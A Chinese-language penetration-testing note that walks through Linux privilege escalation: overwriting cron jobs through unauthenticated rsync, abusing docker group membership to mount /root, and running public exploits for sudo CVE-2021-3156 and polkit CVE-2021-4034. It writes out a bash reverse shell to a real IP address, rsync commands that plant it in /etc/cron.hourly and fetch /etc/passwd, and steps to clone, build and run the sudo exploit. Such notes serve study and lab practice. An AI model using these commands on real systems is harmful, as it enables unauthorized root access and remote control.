rsync未授权本地覆盖
Rsync 是 linux 下一款数据备份工具,默认开启 873 端口
https://vulhub.org/#/environments/rsync/common/
借助 Linux 默认计划任务调用/etc/cron.hourly,利用 rsync 连接覆盖
前提条件就是需要知道rsync的密码或者存在未授权
-提权过程:
1、创建一个 nc 文件,内容
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
2、赋予执行权限:
chmod +x nc
3、上传nc覆盖定时任务目录下
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly
3.1、下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
4、进行 nc 监听相应的端口
nc -lvnp 3333
Docker组用户挂载
前提 本地用户 且本地用户属于docker组
因为只有是在docker组里面我们才可以进行使用docker的权限
使用命令 groups 组名来查看 如果不是root权限但是你是docker组里面的你也可以运行docker服务,运行时为sudo也就是root权限,继而进行提权;
-复现:创建用户归类目录,添加到 docker 组
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
-利用:
docker run -v /root:/mnt -it alpine
主要的作用是:从 Docker 上面下载 alpine 镜像,然后运行;
-v 将容器外部的目录/root 挂载到容器内部/mnt,使用-it 参数进入容器 shell。
执行后root目录内容会被该再到mnt下
测试后发现提权所用到的命令其目录并不受限制,可以把 docker run -v /root:/mnt -it alpine
更改为docker run -v /home:/tmp-it alpine 同样提权成功,因为所利用到的只不过是下载一个alpine文件,去使用docker这个功能即可 然后-it提供一个shell环境
SUDO(CVE-2021-3156)
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
下载exp
git clone https://github.com/blasty/CVE-2021-3156.git
进入目录后编译
cd CVE-2021-3156
make
给与执行权限
chmod a+x sudo-hax-me-a-sandwich
选择对应的版本并运行
./sudo-hax-me-a-sandwich 1
选择版本
执行后界面
Polkit(CVE-2021-4034)
polkit是什么,是系统预装工具
polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
漏洞版本是2009年之后的所有版本都有,ubuntu的测试查看语句为dpkg -l policykit-1,centos的是rpm -qa polkit 这样来进行查看
没有漏洞
有漏洞
版本漏洞直接下载对应的exp然后编译执行即可